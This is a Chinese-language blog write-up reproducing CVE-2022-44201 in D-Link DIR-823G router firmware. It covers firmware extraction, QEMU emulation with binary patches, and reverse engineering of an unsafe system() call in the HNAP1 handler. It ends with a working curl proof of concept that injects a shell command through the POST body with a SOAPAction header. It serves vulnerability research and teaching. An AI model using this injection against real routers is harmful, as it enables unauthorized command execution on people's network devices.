1 准备工作
1.1 提取固件
1 2 3 | ┌──(root?W1sh)-[~/leamov/CVE-2022-44201]└─# binwalk -Me DIR823G_V1.0.2B05_20181207.bin --run-as=root... |
1.2 使用qemu-system仿真运行
环境: qemu-system-mipsel
1 2 3 | ┌──(root?W1sh)-[/mnt/e/LeaMov/workspace/IOT/2.CVE-2022-44201]└─# scp -r -O _DIR823G_V1.0.2B05_20181207.bin.extracted/squashfs-root/ root@192.168.2.2:/root/... |
1 2 | root@debian-mipsel:~/squashfs-root# lsbin dev etc home init lib mnt proc sys usr var web web_mtn |
1.2.1 查看系统服务
1 2 | # ls /etc/init.d/rcS rcS_GW |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | # cat /etc/init.d/rcS#!/bin/shifconfig lo 127.0.0.1CINIT=1hostname rlx-linuxmount -t proc proc /procmount -t ramfs ramfs /varif [ -d "/hw_setting" ];then mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_settingfimkdir /var/tmpmkdir /var/webmkdir /var/logmkdir /var/runmkdir /var/lockmkdir /var/systemmkdir /var/dnrdmkdir /var/avahimkdir /var/dbus-1mkdir /var/run/dbusmkdir /var/libmkdir /var/lib/miscmkdir /var/homemkdir /var/rootmkdir /var/tmp/net###for tr069mkdir /var/cwmp_defaultmkdir /var/cwmp_configif [ ! -f /var/cwmp_default/DefaultCwmpNotify.txt ]; then cp -p /etc/DefaultCwmpNotify.txt /var/cwmp_default/DefaultCwmpNotify.txt 2>/dev/nullfi##For miniigdmkdir /var/linuxigdcp /etc/tmp/pics* /var/linuxigd 2>/dev/null##For pptpmkdir /var/pppmkdir /var/ppp/peers#smbdmkdir /var/configmkdir /var/privatemkdir /var/tmp/usb#snmpdmkdir /var/net-snmpcp /bin/pppoe.sh /var/ppp/trueecho "#!/bin/sh" > /var/ppp/true#echo "PASS" >> /var/ppp/true#for console logincp /etc/shadow.sample /var/shadow#for weavecp /etc/avahi-daemon.conf /var/avahi#extact web pagescd /web#flash extr /webcd /mkdir -p /var/udhcpcmkdir -p /var/udhcpdcp /bin/init.sh /var/udhcpc/eth0.deconfigecho " " > /var/udhcpc/eth0.deconfigcp /bin/init.sh /var/udhcpc/eth1.deconfigecho " " > /var/udhcpc/eth1.deconfigcp /bin/init.sh /var/udhcpc/br0.deconfigecho " " > /var/udhcpc/br0.deconfigcp /bin/init.sh /var/udhcpc/wlan0.deconfigecho " " > /var/udhcpc/wlan0.deconfigif [ "$CINIT" = 1 ]; thenstartup.shfi# for wapi certs relatedmkdir /var/myca# wapi cert(must done before init.sh)cp -rf /usr/local/ssl/* /var/myca/ 2>/dev/null# loadWapiFiles >/dev/null 2>&1# for wireless client mode 802.1xmkdir /var/1xcp -rf /usr/1x/* /var/1x/ 2>/dev/nullmkdir /var/openvpncp -rf /usr/share/openvpn/* /var/openvpn 2>/dev/null#---------------------------------------------------------------------------SHARE_WIFI_DISABLE=`flash get WLAN1_VAP3_WLAN_DISABLED`if [ "$SHARE_WIFI_DISABLE" = "WLAN1_VAP3_WLAN_DISABLED=0" ];then flash set WLAN1_VAP3_WLAN_DISABLED 1fi#---------------------------------------------------------------------------# Start system scriptinit.sh gw all# modify dst-cache settingecho "24576" > /proc/sys/net/ipv4/route/max_sizeecho "180" > /proc/sys/net/ipv4/route/gc_threshecho 20 > /proc/sys/net/ipv4/route/gc_elasticity# echo 35 > /proc/sys/net/ipv4/route/gc_interval# echo 60 > /proc/sys/net/ipv4/route/secret_interval# echo 10 > /proc/sys/net/ipv4/route/gc_timeout# echo "4096" > /proc/sys/net/nf_conntrack_maxecho "12288" > /proc/sys/net/netfilter/nf_conntrack_maxecho "600" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_establishedecho "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_waitecho "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_closeecho "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeoutecho "120" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_streamecho "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout# echo "1048576" > /proc/sys/net/ipv4/rt_cache_rebuild_countecho "32" > /proc/sys/net/netfilter/nf_conntrack_expect_max# modify IRQ Affinity settingecho "3" > /proc/irq/33/smp_affinity#echo 1 > /proc/sys/net/ipv4/ip_forward #don't enable ip_forward before set MASQUERADE#echo 2048 > /proc/sys/net/core/hot_list_length# start web serverls /bin/watchdog > /dev/null && watchdog 1000&#boagoahead &#Turn off the power led of orangeecho "29" > /sys/class/gpio/exportecho "out" > /sys/class/gpio/gpio29/directionecho "1" > /sys/class/gpio/gpio29/value#Turn on the power led of greenecho "30" > /sys/class/gpio/exportecho "out" > /sys/class/gpio/gpio30/directionecho "0" > /sys/class/gpio/gpio30/valuecp /etc/passwd_orig /var/passwdcp /etc/group_orig /var/groupMODE=`flash get HW_FACTORY_MODE`if [ "$MODE" = "HW_FACTORY_MODE=1" ];thentelnetd&fi#telnetd&ifconfig wlan1-va3 downspeedcheck&#wiair_client& |
根据文件 rcS 可以知道使用了下述命令启动web服务
1 2 3 4 5 | # start web serverls /bin/watchdog > /dev/null && watchdog 1000&#boagoahead & |
现在尝试运行
1 2 3 4 | # goaheadDebug: Goahead start# Read hw setting header failed!Invalid hw setting signature [sig=]! |
启动失败了
1.3 修复固件运行环境
用用户模式运行程序然后到IDA里调试分析
1 2 | ┌──(root?W1sh)-[~/leamov/CVE-2022-44201/extracted/squashfs-root]└─# chroot . ./qemu-mipsel-static -g 23946 ./bin/goahead |
main函数里调用了daemmon函数,然后就挂了,直接nop掉
1 2 3 | 38 09 10 0C jal daemon↓↓ ↓↓ ↓↓ ↓↓ ↓↓ ↓↓↓↓↓↓00 00 02 24 li $v0, 0 |
关于
daemon()
这个函数是为了启动一个后台进程,内部调用了fork实现,子程序启动成功后父进程就会退出
1.3.1 Patch apmib_init()
所以daemon()不是真正导致错误的原因,继续单步最后找到函数apmib_init(),它才是真正导致崩溃的原因,直接过掉
1 | 84 07 10 0C jal apmib_init |
1 2 3 | 84 07 10 0C jal apmib_init↓↓ ↓↓ ↓↓ ↓↓ ↓↓ ↓↓↓↓↓↓01 00 02 24 li $v0, 1 |
1.3.2 Patch 其它检查或者初始化函数
这里有个检查pid然后退出程序的,过掉
1 2 3 | 33 8F 10 0C jal getPidFile↓↓ ↓↓ ↓↓ ↓↓ ↓↓ ↓↓↓↓↓↓01 00 02 24 li $v0, 1 |
再启动试试
1 2 3 | # goahead-patchesDebug: Goahead startSegmentation fault |
调试发现是因为打开了个设备文件,没有检查是否打开成功就直接调用fseek导致
1 2 | mtd0 = fopen("/dev/mtd0", "r");fseek(mtd0, 0x30000, 0); //Crashed! |
直接nop掉然后继续
1 2 3 | # ./qemu-mipsel-static bin/goahead-patchesDebug: Goahead startgoahead.c initWebs: failed to convert to binary ip data |
1.3.3 修复网络配置函数
上述错误是因为程序直接找了网络设备br0
1 2 3 4 5 6 7 | sub_423E90("br0", ipStr);//...if ( inet_addr(ipStr) == 0xFFFFFFFF ) { error("goahead.c", 0x213, 2, "initWebs: failed to convert %s to binary ip data", (const char *)ipStr); return 0xFFFFFFFF; } |
但是我的网络是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | ┌──(root?W1sh)-[~/leamov/CVE-2022-44201]└─# ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:15:5d:8a:fb:92 brd ff:ff:ff:ff:ff:ff inet 172.30.36.124/20 brd 172.30.47.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::215:5dff:fe8a:fb92/64 scope link valid_lft forever preferred_lft forever |
没有名为br0的网络设备,有两个方法解决这个问题,一个是直接添加一个br0,这应该是最方便的,另一个就是把所有的br0字符串引用改成eth0的引用,这个稍微麻烦亿点,所以我们用第二个(我不熟悉网络配置-v-)
因为我没有用Ghrida,IDA没办法patch这个文件,所以只能到010Editor里去找然后修改,没找到直接就能用的eth0字符串,所以在data段找了个空白自己加上去,然后把所有br0的引用计算便宜改到eth0身上去(真的很麻烦a)
改完之后再次运行
1 2 3 4 | # ./qemu-mipsel-static bin/goahead-patchesDebug: Goahead startwebs: Listening for HTTP requests at address 172.30.36.124... |
1.3.4 Patch(or Hijack) apmib_get()
终于跑起来了,但是嘛
1 2 3 4 5 6 | ┌──(root?W1sh)-[~/leamov/CVE-2022-44201]└─# curl 172.30.36.124curl: (52) Empty reply from serverqemu: uncaught target signal 11 (Segmentation fault) - core dumpedSegmentation fault |
请求之后就挂掉了,我一遍又一遍的调试,也没找对错误发生在哪,突然我想起了我看的别人的固件修复的文章,同样是libapmib,人家还修了个apmib_get函数呢,我断到它的跳转去,单步一下,果然是因为这个,最方便(个人觉得)的解决还是直接patch,去lib下找到这个库文件让这个函数的开头直接跳转到返回
1 2 3 | 44 00 82 14 bne $a0, $v0, loc_5B18↓↓ ↓ ↓↓ ↓↓ ↓ ↓↓↓↓↓↓↓↓31 01 00 10 b loc_5ECC |
还有两个函数 apmib_set() 和 apmib_update. 避免后续出问题,用同样的方法patch掉了
1.3.5 运行
现在启动web服务然后请求
1 2 3 4 5 6 7 8 9 10 11 | # ./qemu-mipsel-static bin/goahead-patchesDebug: Goahead startwebs: Listening for HTTP requests at address 172.30.36.124...┌──(root?W1sh)-[~/leamov/CVE-2022-44201]└─# curl 172.30.36.124<html><head></head><body> This document has moved to a new <a href="http://172.30.36.124/Wizard.html">location</a>. Please update your documents to reflect the new location. </body></html> |

2. 漏洞复现
根据阿里云漏洞库对这个漏洞的描述,可以知道是命令注入
2.1 逆向分析
2.1.1 不安全的system调用
既然是命令注入(执行).那我们就找system() 函数的引用.然后找到了一个明显有问题的调用在函数0x42383C处
1 2 3 4 5 6 | if(arg[329]){ if(strstr(arg[329],"SetMultipleActions")){ snprintf(v17, 4999, "echo '%s' >/var/hnaplog", a11); system(v17); }} |
它将一个未经验证的参数格式化到原定命令中并将其执行
2.1.2 可控的系统命令参数
首先我们先直接在调试器里设置寄存器的值跳过那些判断,检查 一下a11是什么东西
把断点打在sprintf的调用处,然后用下面的命令请求路径
1 2 | ┌──(root?W1sh)-[~/leamov/CVE-2022-44201]└─# curl localhost/HNAP1 -d "MyPostDataaaaaaaaaaaaa" |

和猜想的一样,是post的数据
2.1.3 绕过验证
直接使用上述的请求方式是没办法执行到system去执行命令的,看上面的伪代码就知道,还有俩判断需要绕过,但是不知道arg是什么东西,根据它的大小和现在的应用场景推断和我们的请求数据有关系,在调试器里找$ra寄存器往外分析
首先是0x40B740.这个函数对用户的请求路径做了匹配,然后分发到不同的处理函数
然后是 0x41C488...........
hum这样的方式有点复杂,既然知道可能是某个HTTP字段,那就找那个处理函数,找知道的大概率会存在的字段,像content-length
在IDA里搜索字符串content-length,然后找引用,果然找到了一个匹配提取字段内容的函数0x41D354.然后看到了这样一段代码
1 2 3 4 5 | else if ( !strcmp(v25, "soapaction") ) { a1[329] = sub_4036C4(v24); //... } |
它把字段soapaction的内容写到了a1[329],应该就是我们要找的字段了,现在用下面的命令进行请求
1 2 | ┌──(root?W1sh)-[~/leamov/CVE-2022-44201]└─# curl localhost/HNAP1 -H "soapaction:SetMultipleActions" |
-H "soapaction:" 绕过字段内容为空判断 if(arg[329])
soapaction:SetMultipleActions 绕过字符串内容判断 if(strstr(arg[329],"SetMultipleActions"))
2.2 POC


1 | curl localhost/HNAP1 -d "'&echo \"Hello Im In\"&'" -H "soapaction:SetMultipleActions" |
3. 写在最后
这是第二次做IOT的复现,嘛说是第一次也行,感觉上一次好像没有学到太多东西,包括环境的配置了,固件修复了,各种。因为去看其它师傅的复现笔记的话,挺多还是用了firmadyne之类的工具的,我不太想上来就用因为感觉挺多东西不太理解,我也不知道那程序是怎么的就跑起来了,挺懵的就,所以还是先学习一下怎么自己解决
多有不足之处,欢迎指出:)